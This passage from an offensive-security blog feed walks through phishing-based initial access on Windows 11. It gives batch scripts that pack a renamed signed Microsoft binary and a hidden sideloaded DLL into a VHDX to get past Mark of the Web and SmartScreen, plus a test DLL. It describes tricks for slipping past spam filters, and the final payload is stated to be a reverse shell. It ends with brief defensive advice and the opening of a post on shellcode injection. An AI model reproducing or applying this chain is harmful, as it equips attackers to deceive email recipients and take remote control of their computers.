<p><img width="671" height="628" alt="image" src="https://github.com/user-attachments/assets/ec68d918-1849-481c-b602-c37b2fe3b17b" /></p>

<p>That time we didn’t run into any issues.  Phew!</p>

<p>Okay, so that’s one approach you can take to prep your payload.  This can go a number of ways of course.  You could have used a .ps1 script or py-to-exe executable, .hta script, .vbs, and so on.  You get the idea.  The primary key is to “cloak” your scripts inside a virtual disk file.  I’ve tried <strong>.iso</strong> and <strong>.img</strong> and those get flagged more often than I’d like.  The only consistent way I’ve found to include an attachment and it not get flagged is through the use of <code class="language-plaintext highlighter-rouge">.VHDX</code> files.  Here’s the script I used to package this btw.  It needs to be ran as Administrator to create the <code class="language-plaintext highlighter-rouge">.VHDX</code> file.</p>

<p><del>It does <strong>NOT</strong> need admin rights to mount/open it as a user.</del> <strong>&lt;– Revision 3/29/2026</strong>: This is incorrect.  You need to be a member of the local administrators group for this to work.  Thank you to the kind and responsible reader who pointed this out to me!</p>

<ul>
  <li><strong>VHD_PATH</strong> is the output file</li>
  <li><strong>EXE_TO_COPY</strong> is the executable you wish to add to the VHDX</li>
  <li><strong>SCRIPT_TO_COPY</strong> is the script you’d like to add to the VHDX</li>
</ul>

<p>and so on…</p>

<p>You can add as many variables as you like.  Okay the script!  See below:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">copy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Ok cool, so that’s one approach.  We can simply upload our payload as an attachment.  But I’m not satisfied with that approach because it’s crazy restrictive and limited in nature.  Let’s continue, as I still need to explain <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">Smartscreen protection</code> and some other aspects of initial access that prove difficult for us to contend with.  But fear not, I have ways around those restrictions 😸</p>

<h2 id="my-preferred-approach-using-gmails-web-frontend-and-hyperlinks-for-your-payload">My Preferred Approach: Using Gmail’s Web Frontend and Hyperlinks for your Payload</h2>

<p>Right out of the gate I get sent to the dreaded Junk mail folder:</p>

<p><img width="1570" height="430" alt="image" src="https://github.com/user-attachments/assets/78dbb2c5-25d1-48f4-8057-3400d84e3ccd" /></p>

<p>Hmm, we need to rectify that.  Let’s see what we can do.  I’ll try sending from another gmail account that is older with a good reputation and change the subject and body a bit.</p>

<p><img width="1534" height="415" alt="image" src="https://github.com/user-attachments/assets/e65d15b7-6181-447f-b161-0c0c348db0de" /></p>

<p>Interesting huh?!  No junk folder this time.  This time I sent the email using a gmail address I’ve had for a very long time.  10+ years or so.  The other email was my g3tsyst3m@gmail.com email address and it’s exclusively used for offsec convos so who knows maybe it has a bad reputation 😆</p>

<p>I’m betting it’s a combination of factors: <strong>Reputational risk for email sender, Subject content, and Body content</strong>.  Oddly enough I don’t think the github link is considered suspicious by the email client 😸</p>

<p>Okay, so moving on.  I’ll click the link in the email we sent soon enough, but before I do, I need to keep you in suspense for a bit.  Sorry about that 😄 We still need to go over <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">SmartScreen</code> so you can truly understand the real battle we face when downloading payloads.  Whether it’s from an email or web browser, you’ll have to deal with this.  I’ll cover everything in our next section and then revisit our email we sent to the pentest “victim”.</p>

<h2 id="introducing-mark-of-the-web-and-smartscreen">Introducing Mark of the Web and SmartScreen</h2>

<p>When you download a file, depending on where it is being downloaded from, it will have the dreaded <code class="language-plaintext highlighter-rouge">Mark of the Web</code> property assigned to it.  What does this look like?  Glad you asked.  I’ll show you 😸</p>

<p>Let’s download a reverse shell python script that I’ve converted to an executable.  I’ve previously uploaded it to my Github account.  I’ve also changed the icon to somewhat resemble an adobe PDF document.  Take a look at the properties of the file.  Notice how it has a checkbox that says, “Unlock”?  That’s the Mark of the Web property I’ve been mentioning.</p>

<p><img width="1331" height="718" alt="image" src="https://github.com/user-attachments/assets/52ed3ace-d5ab-4d18-97f2-17a43b378702" /></p>

<p>If I try and execute this file as-is, I’ll trigger Windows Smart Screen.  You have to actually click <strong>“More Info”</strong> to even get presented the option of running the executable.</p>

<p><img width="670" height="626" alt="image" src="https://github.com/user-attachments/assets/dabadcc2-9c11-4821-8e16-585c93ffb015" /></p>

<p><img width="668" height="622" alt="image" src="https://github.com/user-attachments/assets/f7eb42e9-f55f-4093-950a-d1ed139ea54c" /></p>

<p>We don’t want the unsuspecting pentest customer to have to jump through hoops to execute our payload, right?  RIGHT!</p>

<p>Here’s how it would play out if I checked “Unblock”.  Notice I don’t get a prompt and the reverse shell works as intended:</p>

<p><img width="959" height="607" alt="image" src="https://github.com/user-attachments/assets/ddfc9817-a86a-4246-9e63-129e8dbcb869" /></p>

<p>So, that’s what we’re up against.  But as you can imagine, I have some tricks up my sleeve 😺  Keep following along to see how it all plays out!</p>

<h2 id="bypassing-mark-of-the-web-and-smartscreen-using-trusted-executable-reputation">Bypassing Mark of the Web and SmartScreen using Trusted Executable Reputation</h2>

<p>So the title sort of gives a hint as to how we can bypass both Mark of the Web and SmartScreen.  But before I delve further into that, just a quick recap.</p>

<ul>
  <li>We have an email that we’ve prepared both with and without attachments that bypasses the intitial basic email security filters</li>
  <li>Regardless of whether we have the user click an email link or open an email attachment, the contents will receive the MOTW property and require the user to approve the security prompts</li>
  <li>We wish to bypass both!</li>
</ul>

<p>Ok, this is pretty awesome.  Ready for it?  Are you?  okay here it is.  Go ahead and go into your <strong>C:/Windows/System32</strong> directory and locate <code class="language-plaintext highlighter-rouge">ApplicationHost.exe</code>.  You could have chosen any executable, but we’ll be picking on this one for today’s exercise 😼  Upload that executable to a location of your choosing.  I uploaded mine to one of my Github repos.  Go ahead and generate the link to your executable and download the file.</p>

<p>Right click on the downloaded file and check out the properties.  Still has MOTW right?</p>

<p><img width="544" height="704" alt="image" src="https://github.com/user-attachments/assets/34d5c6b7-32a7-4899-9a0a-ed8cb0bfd544" /></p>

<p>Double click on it.  What happens?</p>

<p>Yeah…it executes!  no SmartScreen.  Just pure glorious execution.  Now things are startin’ to get exciting! 😸</p>

<p>You can even click it in your Downloads window and it will open no problem.  No SmartScreen prompts.</p>

<p><img width="396" height="121" alt="image" src="https://github.com/user-attachments/assets/ad1f92c2-4761-4611-9680-2d3d8278dcf1" /></p>

<p>So why is that?  Why does it execute without SmartScreen interfering, especially since it still has the <strong>MOTW</strong> property unchecked.</p>

<p><strong>Simple answer</strong>: File reputation.</p>

<p>This is a signed / trusted Microsoft executable.  It has also been around for a very long time. Longevity and file signing increase the reputation of this executable considerably. Compare to my python to exe tester executable from earlier.  It didn’t stand a chance.  Unsigned, untrusted, just created, yeah you get it.  Similar to email sender reputation, files have reputational value and reputational risk too.  So now we’re left with a benign Microsoft executable that is trusted.  Where do we go from here?</p>

<h2 id="let-me-introduce-you-to-my-good-friends---a-trusted-executable-and-dll-sideloading-">Let me introduce you to my good friends - A Trusted Executable and DLL Sideloading 😸</h2>

<p>If you load up <strong>ApplicationFrameHost.exe</strong> into <strong>procmon</strong>, you’ll see some DLL’s that don’t have a home.  Yeah, you know what we’re going to have to do right?  Help one of those DLLs find a home!</p>

<p><img src="https://media1.tenor.com/m/dZHvxXepP3cAAAAC/golf-funny.gif" /></p>

<p>Here’s my procmon filter’s and also the results from applying the filters and running <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="1384" height="992" alt="image" src="https://github.com/user-attachments/assets/5c36d5f8-bc81-49ec-b266-00d46158643f" /></p>

<p>As you can see, our trusted program is trying to find a home for a few DLLs and the one we’ll be helping out is: <strong>UMPDC.dll</strong></p>

<p>I also elected to use an x64 executable versus an x86.  I prefer more current architecture support personally 😸</p>

<p>Now we just need a simple test DLL to ensure this works as expected.  Here’s a very simple DLL template to test our DLL sideloading:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"pch.h"</span><span class="cp">
</span>
<span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span>
                       <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span>
                       <span class="n">LPVOID</span> <span class="n">lpReserved</span>
                     <span class="p">)</span>
<span class="p">{</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span>
    <span class="p">{</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
        <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">,</span> <span class="s">"Hey!"</span><span class="p">,</span> <span class="s">"It's a me...a messagebox that was DLL sideloaded!"</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Compile that, rename it to <strong>UMPDC.dll</strong>, and place your compiled DLL in the same directory as <strong>ApplicationFrameHost.exe</strong> and open <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="855" height="520" alt="image" src="https://github.com/user-attachments/assets/8ee2dee6-bf88-4005-80fa-6e28bb8f7583" /></p>

<p>BAM!  Works like a charm.  😸 It will work exactly the same way if we package this and download + execute it from the web.  So, let’s package this where it can be sent in our email from earlier!</p>

<p>Here’s the kicker.  There are two files we need the user to download.  The only conceivable way we can do that, as I see it, are two ways:</p>

<ul>
  <li>Zip the two files and have the user extract them and run the ApplicationFrameHost.exe (which you will need to rename to something less generic!).  You may ask yourself,”but why have them extract the files.  Can’t they just open the zip and double click on the executable?”  Sort of, but it doesn’t work the way we want it to. Essentially, the executable has no clue where the DLL file is.  If you just double-click on the .exe, it will run without SmartScreen as expected, but your DLL won’t execute because it’s still stuck in limbo.  Ironic isn’t it, since we’re relying on DLL sideloading to load the DLL.  😸</li>
  <li>Zip the files inside of a VHDX file like we did earlier.  This is my recommended approach, but it comes with a catch.  The VMDK file will prompt for approval to mount, but once mounted the new drive will open automatically and present the user with both files.  The files contained within the VHDX will NOT require approval to execute.  You can click on the .exe and no SmartScreen will come up!</li>
</ul>

<h2 id="bringing-it-all-together">Bringing it all Together!</h2>

<p>Let’s wrap this up shall we!  I wish I could go further into all my research on this topic but I’ve got a lot on my plate these days so this post will have to do for the time being 😺  I’ll be sharing additional content to supplement this blog post on my ko-fi shop though, as per my usual routine!</p>

<p>Ok, let’s start by creating a fresh VHDX disk file and move our DLL and renamed <strong>ApplicationFrameHost.exe</strong> into it.  I also wish to make and preserve the hidden attribute for the DLL file.  Most folks might be put off by seeing a random DLL file plus it’s just tacky to leave that visible on a pentest.  Here’s my revised script to handle all of that.  Notice how I use <strong>xcopy.exe</strong> to handle the preservation of the hidden file attribute:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span> <span class="na">/h
</span><span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Go ahead and run that and be sure to zip the outputted VHDX file.  It’s almost 70MB otherwise 😆</p>

<p><img width="1000" height="695" alt="image" src="https://github.com/user-attachments/assets/6c0b5b6f-7ec3-4236-b6ca-d8e4e054eb2a" /></p>

<p>Now upload that zip file to your web host of choice and generate a link to it.  I’m still using Github for the purposes of this blog post.  Go ahead and prepare your email and add the link to the body of the email, and send it.  I’m using gmail to send the email per our example from earlier:</p>

<p><img width="669" height="630" alt="image" src="https://github.com/user-attachments/assets/5ce15083-8fcc-4938-81a0-9191e5a34907" /></p>

<p>Here’s the receiving of the email from my other email address, an <strong>outlook.com</strong> email:</p>

<p><img width="1569" height="550" alt="image" src="https://github.com/user-attachments/assets/544ace4b-8929-47bc-bdd0-b19723d16602" /></p>

<p>Let’s click the link!  Notice we receive no browser security warnings and the file downloads.</p>

<p><img width="1145" height="757" alt="image" src="https://github.com/user-attachments/assets/304a9492-445d-4437-ac1f-3fdfbfcd139a" /></p>

<p><img width="454" height="230" alt="image" src="https://github.com/user-attachments/assets/95de5e7d-ba17-48cb-a478-9340a49d7b65" /></p>

<p>Click on it.  The zip opens without a prompt:</p>

<p><img width="852" height="242" alt="image" src="https://github.com/user-attachments/assets/e6c41b1e-5604-4bd8-91be-426d3e601d86" /></p>

<p>Now, double click the VHDX file.  You will receive an initial prompt, which can’t be avoided to my knowledge.  Go ahead and accept:</p>

<p><img width="645" height="536" alt="image" src="https://github.com/user-attachments/assets/0b40cca9-c0ff-412e-9acf-6ece69624dde" /></p>

<p>You’ll notice we are greeted with our Payload and no DLL file is visible (unless the client has show hidden files enabled):</p>

<p><img width="802" height="298" alt="image" src="https://github.com/user-attachments/assets/b529d10a-82e4-473a-8d94-2c16c0adf724" /></p>

<p>Double click our Payload.  Notice no SmartScreen warning and our payload runs as expected and DLL sideloads our planted DLL!  My dll is a reverse shell btw, as you can see in the screenshot below 😸</p>

<p><img width="1672" height="858" alt="image" src="https://github.com/user-attachments/assets/0c6ec51f-e77a-4923-8ecc-089e4de87de8" /></p>

<p>Thus completes my take on ways to tackle initial access using email and bypassing MOTW ad SmartScreen Restrictions 😅</p>

<h2 id="️blue-team-defensive-strategies-to-avoid-this-attack-vector-️">🛡️Blue Team Defensive Strategies to Avoid this Attack Vector 🛡️</h2>

<p><strong>Here’s a quick overview on some ways you can get in front of this type of initial access attack vector:</strong></p>

<ul>
  <li>Block all these email attachments, to name a few: (.ZIP, .ISO, .IMG, .VHD, .VHDX, .EXE, .JS, .VBS, .HTA, .PS1, .PY)</li>
  <li>Have your EDR solution monitor for LOTL (<strong>Living off the Land</strong>) binaries being used outside of the System32 folder</li>
  <li>Disallow execution of disk files for your average users.  IT techs are really the only users who need this functionality</li>
  <li>Convince Microsoft to stop allowing DLL sideloading, though the onus is generally on the programmer to enforce loading all DLLs from strict paths such as System32 😸</li>
  <li>Be restrictive on the types of attachments and outside emails you permit sending to your organization</li>
</ul>

<h2 id="source-code">Source Code</h2>

<p><strong>Source code for the basic DLL that executes a MessageBox (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/dllmain.cpp">DLL Source Code</a></p>

<p><strong>Source code for the final BAT script that creates the VHDX file:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/createvhdx.bat">VHDX Source Code</a></p>

<h2 id="-bonus-content-for-members-sapphire-tier-">🎁 <strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong> 🎁</h2>

<p>📓Script for Sending emails via the commandline: <a href="https://ko-fi.com/s/266c89f70c">Send an email using SWAKS in Linux via Bash</a> 📓
📹 Video demonstration of using the Script (<strong>Video link located in description in the ko-fi shop: You MUST be signed in with your gmail address to view the private video!</strong>): <a href="https://ko-fi.com/s/266c89f70c">Video demonstration</a> 📹</p>

<p>📹 Video Walkthrough for Sending your initial access payload: <a href="https://ko-fi.com/s/4e59907ab1">Video demonstration</a> 📹</p>

<h2 id="-bonus-content-for-members-emerald--diamond-tiers-">🎁 <strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong> 🎁</h2>

<ul>
  <li>🗒️ DLL source code that includes Module stomping + reverse shell shellcode (127.0.0.1:9001) and Threading to defeat Loader Lock: <a href="https://ko-fi.com/s/dee5b5c3f3">Source Code</a></li>
  <li>🗒️ Source code for my Python download and exec shellcode in Memory Script: <a href="https://ko-fi.com/s/0938624695">Source Code</a></li>
</ul>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/d0f36e4e-066b-4149-b27e-5fea939a6e48?p=6999d551ec59c7e2c66d9bda">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Initial Access" /><category term="Initial Access" /><category term="Pentest" /><category term="SmartScreen" /><category term="Pentesting Payload" /><category term="2026" /><category term="MOTW" /><category term="Bypasssing Mark of the Web" /><category term="g3tsyst3m" /><category term="email payloads" /><category term="email attachment bypass EDR" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement. Well, the blunt and honest answer to that question is…it depends 😸 Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold. Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls. If not they should be. Because in a real world attack, you better believe the threat actor will not hold back! In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice. I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links. I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.]]></summary></entry><entry><title type="html">Living off the Process</title><link href="https://g3tsyst3m.com/lotp/Living-off-the-Process/" rel="alternate" type="text/html" title="Living off the Process" /><published>2026-01-29T00:00:00+00:00</published><updated>2026-01-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/lotp/Living%20off%20the%20Process</id><content type="html" xml:base="https://g3tsyst3m.com/lotp/Living-off-the-Process/"><![CDATA[<p>Hello again everyone!  Hope the start to the new year is treating you well.  I am excited to share a new blog post with you!  Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post.  Without further ado, I give you my take on what I’d like to call: <code class="language-plaintext highlighter-rouge">Living off the Process</code>!  This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal.  In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible.  When I say indirectly, I mean we won’t be using <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write the shellcode.  That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process.  We will also avoid the creation of RWX regions of memory.  Here’s a quick overview on how it all works.  We will be looking for:</p>

<ul>
  <li><strong>Existing RWX memory regions already available that were created by the process of interest</strong></li>
  <li><strong>Existing ROP gadgets to help us write our shellcode</strong></li>
  <li><strong>Hijacking an existing thread within the remote process to manipulate / set register values via SetThreadContext</strong></li>
  <li><strong>Using registers, assembly stubs + our collected gadgets to copy shellcode in 8 byte chunks into one of the previously discovered RWX regions of memory (This is the most exciting aspect of the technique in my personal opinion😸)</strong></li>
  <li><strong>Set RSP to a fake stack which will point to our hijacked region of memory holding our shellcode and execute the shellcode!</strong></li>
  <li><strong>Profit!</strong></li>
